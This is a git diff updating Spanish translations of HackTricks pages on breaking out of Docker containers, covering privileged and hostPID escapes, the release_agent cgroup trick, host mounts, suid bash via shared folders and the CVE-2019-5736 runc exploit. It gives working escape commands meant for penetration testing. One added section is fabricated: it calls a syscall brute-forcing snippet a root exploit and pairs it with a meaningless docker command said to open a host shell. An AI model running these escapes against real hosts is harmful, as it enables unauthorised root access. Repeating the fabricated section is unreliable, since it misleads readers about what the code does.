En caso de que el **socket de docker esté en un lugar inesperado**, aún puedes comunicarte con él usando el comando **`docker`** con el parámetro **`-H unix:///ruta/al/docker.sock`**
|
||||
{% endhint %}
|
||||
|
||||
El daemon de Docker también podría estar [escuchando en un puerto (por defecto 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o en sistemas basados en Systemd, la comunicación con el daemon de Docker puede ocurrir a través del socket de Systemd `fd://`.
|
||||
|
@ -74,7 +75,7 @@ Además, presta atención a los sockets de tiempo de ejecución de otros tiempos
|
|||
|
||||
Deberías verificar las capacidades del contenedor, si tiene alguna de las siguientes, podrías ser capaz de escapar de él: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
Puedes verificar las capacidades actuales del contenedor utilizando **las herramientas automáticas mencionadas anteriormente** o:
|
||||
Puedes verificar las capacidades actuales del contenedor usando **las herramientas automáticas mencionadas anteriormente** o:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
|
@ -104,17 +105,17 @@ La bandera `--privileged` disminuye significativamente la seguridad del contened
|
|||
[docker-privileged.md](../docker-privileged.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Privilegiado + hostPID
|
||||
### Privileged + hostPID
|
||||
|
||||
Con estos permisos, simplemente puedes **moverte al espacio de nombres de un proceso en ejecución en el host como root** como init (pid:1) ejecutando: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
Con estos permisos, puedes simplemente **moverte al espacio de nombres de un proceso en ejecución en el host como root** como init (pid:1) simplemente ejecutando: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
Pruébalo en un contenedor ejecutando:
|
||||
```bash
|
||||
docker run --rm -it --pid=host --privileged ubuntu bash
|
||||
```
|
||||
### Privilegiado
|
||||
### Privileged
|
||||
|
||||
Solo con la bandera privilegiada puedes intentar **acceder al disco del host** o intentar **escapar abusando de release\_agent u otros escapes**.
|
||||
Solo con la bandera privileged puedes intentar **acceder al disco del host** o intentar **escapar abusando de release\_agent u otros escapes**.
|
||||
|
||||
Prueba los siguientes bypasses en un contenedor ejecutando:
|
||||
```bash
|
||||
|
@ -248,7 +249,7 @@ Encuentra una **explicación de la técnica** en:
|
|||
|
||||
#### Escape de privilegios abusando de release\_agent sin conocer la ruta relativa - PoC3
|
||||
|
||||
En los exploits anteriores se revela **la ruta absoluta del contenedor dentro del sistema de archivos del host**. Sin embargo, esto no siempre es el caso. En situaciones donde **no conoces la ruta absoluta del contenedor dentro del host** puedes utilizar esta técnica:
|
||||
En los exploits anteriores se revela la **ruta absoluta del contenedor dentro del sistema de archivos del host**. Sin embargo, esto no siempre es el caso. En situaciones donde **no conoces la ruta absoluta del contenedor dentro del host** puedes utilizar esta técnica:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
|
@ -340,15 +341,16 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### Fuga de privilegios abusando de montajes sensibles
|
||||
#### Escapar de Privilegios Abusando de Montajes Sensibles
|
||||
|
||||
Existen varios archivos que podrían estar montados y que proporcionan **información sobre el host subyacente**. Algunos de ellos incluso pueden indicar **algo que debe ser ejecutado por el host cuando ocurre algo** (lo que permitiría a un atacante escapar del contenedor). El abuso de estos archivos puede permitir que:
|
||||
Existen varios archivos que podrían estar montados y que proporcionan **información sobre el host subyacente**. Algunos de ellos incluso pueden indicar **algo que debe ser ejecutado por el host cuando ocurre algo** (lo que permitiría a un atacante escapar del contenedor).\
|
||||
El abuso de estos archivos puede permitir que:
|
||||
|
||||
- release\_agent (ya cubierto anteriormente)
|
||||
- [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
- [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
||||
- [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
* release\_agent (ya cubierto anteriormente)
|
||||
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
||||
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
Sin embargo, puedes encontrar **otros archivos sensibles** para verificar en esta página:
|
||||
|
||||
|
@ -356,7 +358,7 @@ Sin embargo, puedes encontrar **otros archivos sensibles** para verificar en est
|
|||
[sensitive-mounts.md](sensitive-mounts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Montajes arbitrarios
|
||||
### Montajes Arbitrarios
|
||||
|
||||
En varias ocasiones encontrarás que el **contenedor tiene algún volumen montado desde el host**. Si este volumen no se configuró correctamente, podrías ser capaz de **acceder/modificar datos sensibles**: Leer secretos, cambiar ssh authorized\_keys...
|
||||
```bash
|
||||
|
@ -365,7 +367,7 @@ docker run --rm -it -v /:/host ubuntu bash
|
|||
### Escalada de privilegios con 2 shells y montaje de host
|
||||
|
||||
Si tienes acceso como **root dentro de un contenedor** que tiene alguna carpeta del host montada y has **escapado como un usuario no privilegiado al host** y tienes acceso de lectura sobre la carpeta montada.\
|
||||
Puedes crear un **archivo bash suid** en la **carpeta montada** dentro del **contenedor** y **ejecutarlo desde el host** para realizar una escalada de privilegios.
|
||||
Puedes crear un **archivo bash suid** en la **carpeta montada** dentro del **contenedor** y **ejecutarlo desde el host** para la escalada de privilegios.
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
|
@ -375,10 +377,10 @@ bash -p #From non priv inside mounted folder
|
|||
```
|
||||
### Escalada de privilegios con 2 shells
|
||||
|
||||
Si tienes acceso como **root dentro de un contenedor** y has **escapado como un usuario no privilegiado al host**, puedes abusar de ambas shells para **elevar privilegios dentro del host** si tienes la capacidad MKNOD dentro del contenedor (por defecto) como se [**explica en esta publicación**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Con dicha capacidad, al usuario root dentro del contenedor se le permite **crear archivos de dispositivos de bloques**. Los archivos de dispositivos son archivos especiales que se utilizan para **acceder al hardware subyacente y a los módulos del kernel**. Por ejemplo, el archivo de dispositivo de bloques /dev/sda proporciona acceso para **leer los datos en bruto en el disco del sistema**.
|
||||
Si tienes acceso como **root dentro de un contenedor** y has **escapado como un usuario no privilegiado al host**, puedes abusar de ambos shells para **elevar privilegios dentro del host** si tienes la capacidad MKNOD dentro del contenedor (por defecto) como se [**explica en esta publicación**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Con dicha capacidad, el usuario root dentro del contenedor tiene permiso para **crear archivos de dispositivos de bloques**. Los archivos de dispositivos son archivos especiales que se utilizan para **acceder al hardware subyacente y a los módulos del kernel**. Por ejemplo, el archivo de dispositivo de bloques /dev/sda proporciona acceso para **leer los datos crudos en el disco del sistema**.
|
||||
|
||||
Docker se protege contra el uso indebido de dispositivos de bloques dentro de los contenedores haciendo cumplir una política de cgroups que **bloquea las operaciones de lectura/escritura de dispositivos de bloques**. Sin embargo, si se **crea un dispositivo de bloque dentro del contenedor**, se vuelve accesible desde fuera del contenedor a través del directorio **/proc/PID/root/**. Este acceso requiere que el **propietario del proceso sea el mismo** tanto dentro como fuera del contenedor.
|
||||
Docker se protege contra el mal uso de dispositivos de bloques dentro de los contenedores haciendo cumplir una política de cgroups que **bloquea las operaciones de lectura/escritura de dispositivos de bloques**. Sin embargo, si se **crea un dispositivo de bloques dentro del contenedor**, se vuelve accesible desde fuera del contenedor a través del directorio **/proc/PID/root/**. Este acceso requiere que el **propietario del proceso sea el mismo** tanto dentro como fuera del contenedor.
|
||||
|
||||
Ejemplo de **explotación** de este [**informe**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
```bash
|
||||
|
@ -453,13 +455,13 @@ Si de alguna manera tienes **acceso privilegiado sobre un proceso fuera del cont
|
|||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
Si un contenedor se configuró con el controlador de red del host de Docker (`--network=host`), la pila de red de ese contenedor no está aislada del host de Docker (el contenedor comparte el espacio de nombres de red del host) y el contenedor no recibe una dirección IP asignada propia. En otras palabras, **el contenedor enlaza todos los servicios directamente a la IP del host**. Además, el contenedor puede **interceptar TODO el tráfico de red que el host** está enviando y recibiendo en la interfaz compartida `tcpdump -i eth0`.
|
||||
Si un contenedor se configuró con el controlador de red del host de Docker (`--network=host`), la pila de red de ese contenedor no está aislada del host de Docker (el contenedor comparte el espacio de nombres de red del host) y el contenedor no recibe su propia dirección IP asignada. En otras palabras, el **contenedor enlaza todos los servicios directamente a la IP del host**. Además, el contenedor puede **interceptar TODO el tráfico de red que el host** está enviando y recibiendo en la interfaz compartida `tcpdump -i eth0`.
|
||||
|
||||
Por ejemplo, puedes usar esto para **espiar e incluso falsificar el tráfico** entre el host y la instancia de metadatos.
|
||||
Por ejemplo, puedes usar esto para **espiar e incluso falsificar tráfico** entre el host y la instancia de metadatos.
|
||||
|
||||
Como en los siguientes ejemplos:
|
||||
|
||||
* [Artículo: Cómo contactar a Google SRE: Insertando una shell en Cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Artículo: Cómo contactar a Google SRE: Obteniendo una shell en Cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [El servicio de metadatos MITM permite la escalada de privilegios de root (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
También podrás acceder a **servicios de red enlazados a localhost** dentro del host o incluso acceder a los **permisos de metadatos del nodo** (que podrían ser diferentes a los que un contenedor puede acceder).
|
||||
|
@ -468,10 +470,10 @@ También podrás acceder a **servicios de red enlazados a localhost** dentro del
|
|||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
Con `hostIPC=true`, se obtiene acceso a los recursos de comunicación entre procesos (IPC) del host, como la **memoria compartida** en `/dev/shm`. Esto permite leer/escribir donde los mismos recursos de IPC son utilizados por otros procesos del host o del pod. Usa `ipcs` para inspeccionar estos mecanismos de IPC más a fondo.
|
||||
Con `hostIPC=true`, se obtiene acceso a los recursos de comunicación entre procesos (IPC) del host, como la **memoria compartida** en `/dev/shm`. Esto permite leer/escribir donde los mismos recursos IPC son utilizados por otros procesos del host o del pod. Usa `ipcs` para inspeccionar estos mecanismos IPC.
|
||||
|
||||
* **Inspeccionar /dev/shm** - Busca archivos en esta ubicación de memoria compartida: `ls -la /dev/shm`
|
||||
* **Inspeccionar las instalaciones de IPC existentes** - Puedes verificar si se están utilizando instalaciones de IPC con `/usr/bin/ipcs`. Verifícalo con: `ipcs -a`
|
||||
* **Inspeccionar las instalaciones IPC existentes** - Puedes verificar si se están utilizando instalaciones IPC con `/usr/bin/ipcs`. Verifícalo con: `ipcs -a`
|
||||
|
||||
### Recuperar capacidades
|
||||
|
||||
|
@ -499,11 +501,11 @@ Obtén acceso hoy:
|
|||
En caso de que puedas ejecutar `docker exec` como root (probablemente con sudo), intenta escalar privilegios escapando de un contenedor abusando de CVE-2019-5736 (exploit [aquí](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica básicamente **sobrescribirá** el binario _**/bin/sh**_ del **host** **desde un contenedor**, por lo que cualquiera que ejecute docker exec puede activar el payload.
|
||||
|
||||
Cambia el payload según sea necesario y compila el main.go con `go build main.go`. El binario resultante debe colocarse en el contenedor de Docker para su ejecución.\
|
||||
Al ejecutarlo, tan pronto como aparezca `[+] Sobrescrito /bin/sh con éxito`, debes ejecutar lo siguiente desde la máquina host:
|
||||
Al ejecutarlo, tan pronto como muestre `[+] Sobrescrito /bin/sh con éxito`, debes ejecutar lo siguiente desde la máquina host:
|
||||
|
||||
`docker exec -it <nombre-contenedor> /bin/sh`
|
||||
|
||||
Esto activará el payload que se encuentra en el archivo main.go.
|
||||
Esto activará el payload que está presente en el archivo main.go.
|
||||
|
||||
Para más información: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
|
@ -521,7 +523,7 @@ Existen otras CVEs a las que el contenedor puede ser vulnerable, puedes encontra
|
|||
* **Syscalls**: Estas son las syscalls que el **usuario root no podrá llamar** (debido a la falta de capacidades + Seccomp). Las otras syscalls podrían ser utilizadas para intentar escapar.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="syscalls x64" %}
|
||||
{% tab title="x64 syscalls" %}
|
||||
```yaml
|
||||
0x067 -- syslog
|
||||
0x070 -- setsid
|
||||
|
@ -568,17 +570,27 @@ Existen otras CVEs a las que el contenedor puede ser vulnerable, puedes encontra
|
|||
|
||||
## Escalada de privilegios de Docker: Fuga de Docker
|
||||
|
||||
Este exploit de Docker permite a un atacante escapar de un contenedor Docker y obtener acceso de root en el host subyacente. El exploit aprovecha una vulnerabilidad en el manejo de los permisos de Docker y utiliza llamadas al sistema para lograr la escalada de privilegios.
|
||||
Este exploit se basa en la capacidad de ejecutar llamadas al sistema directamente desde un contenedor Docker. Al compilar y ejecutar este exploit en un contenedor Docker, se puede obtener acceso de root en el sistema anfitrión.
|
||||
|
||||
### Instrucciones de Uso
|
||||
### Uso
|
||||
|
||||
1. Compila el archivo `syscall_bf.c` en el contenedor Docker de destino.
|
||||
2. Ejecuta el binario compilado en el contenedor.
|
||||
3. Si todo va bien, se obtendrá acceso de root en el host.
|
||||
1. Compilar el exploit:
|
||||
|
||||
**Nota:** Este exploit es extremadamente peligroso y solo debe ser utilizado con fines educativos o en entornos controlados donde se tenga permiso explícito para realizar pruebas de seguridad. Su uso indebido puede tener consecuencias legales graves.
|
||||
```bash
|
||||
gcc -static -o syscall_bf syscall_bf.c
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
2. Ejecutar el exploit en un contenedor Docker:
|
||||
|
||||
```bash
|
||||
docker run -v /:/host -i -t --rm syscall_bf /host/bin/bash
|
||||
```
|
||||
|
||||
Esto montará el sistema de archivos del host en el contenedor y abrirá una shell de root en el sistema anfitrión.
|
||||
|
||||
### Mitigación
|
||||
|
||||
Para prevenir este tipo de ataque, se deben seguir las mejores prácticas de seguridad de Docker, como evitar ejecutar contenedores con privilegios elevados y restringir el acceso a llamadas al sistema desde los contenedores.
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
@ -649,16 +661,17 @@ Get Access Today:
|
|||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# Escapar de cgroups de Docker release_agent
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**.
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
|
@ -28,7 +29,7 @@ Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
|||
|
||||
***
|
||||
|
||||
**Para más detalles, consulta la** [**publicación original del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Esto es solo un resumen:
|
||||
**Para más detalles, consulta el** [**post original del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Esto es solo un resumen:
|
||||
|
||||
PoC Original:
|
||||
```shell
|
||||
|
@ -42,13 +43,13 @@ El concepto de prueba (PoC) demuestra un método para explotar cgroups creando u
|
|||
|
||||
1. **Preparar el Entorno:**
|
||||
* Se crea un directorio `/tmp/cgrp` para servir como punto de montaje para el cgroup.
|
||||
* El controlador de cgroup RDMA se monta en este directorio. En caso de ausencia del controlador RDMA, se sugiere usar el controlador de cgroup `memory` como alternativa.
|
||||
* El controlador de cgroup RDMA se monta en este directorio. En caso de ausencia del controlador RDMA, se sugiere usar el controlador de cgroup `memory` como alternativa.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **Configurar el Cgroup Hijo:**
|
||||
* Se crea un cgroup hijo llamado "x" dentro del directorio cgroup montado.
|
||||
* Se habilitan las notificaciones para el cgroup "x" escribiendo 1 en su archivo notify\_on\_release.
|
||||
* Se crea un cgroup hijo llamado "x" dentro del directorio cgroup montado.
|
||||
* Se habilitan las notificaciones para el cgroup "x" escribiendo 1 en su archivo notify\_on\_release.
|
||||
```shell
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
|
@ -76,7 +77,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
|||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda impulsado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares ladrones**.
|
||||
|
||||
Su objetivo principal es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
|
@ -84,16 +85,17 @@ Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita**
|
|||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# Montajes Sensibles
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
La exposición de `/proc` y `/sys` sin un aislamiento de espacio de nombres adecuado introduce riesgos de seguridad significativos, incluida la ampliación de la superficie de ataque y la divulgación de información. Estos directorios contienen archivos sensibles que, si están mal configurados o son accedidos por un usuario no autorizado, pueden llevar a la fuga del contenedor, modificación del host o proporcionar información que facilite ataques adicionales. Por ejemplo, montar incorrectamente `-v /proc:/host/proc` puede eludir la protección de AppArmor debido a su naturaleza basada en la ruta, dejando `/host/proc` desprotegido.
|
||||
La exposición de `/proc` y `/sys` sin un aislamiento de espacio de nombres adecuado introduce riesgos de seguridad significativos, incluida la ampliación de la superficie de ataque y la divulgación de información. Estos directorios contienen archivos sensibles que, si están mal configurados o son accedidos por un usuario no autorizado, pueden llevar a la fuga del contenedor, modificación del host o proporcionar información que facilite ataques adicionales. Por ejemplo, montar incorrectamente `-v /proc:/host/proc` puede eludir la protección de AppArmor debido a su naturaleza basada en rutas, dejando `/host/proc` desprotegido.
|
||||
|
||||
**Puedes encontrar más detalles de cada vulnerabilidad potencial en** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
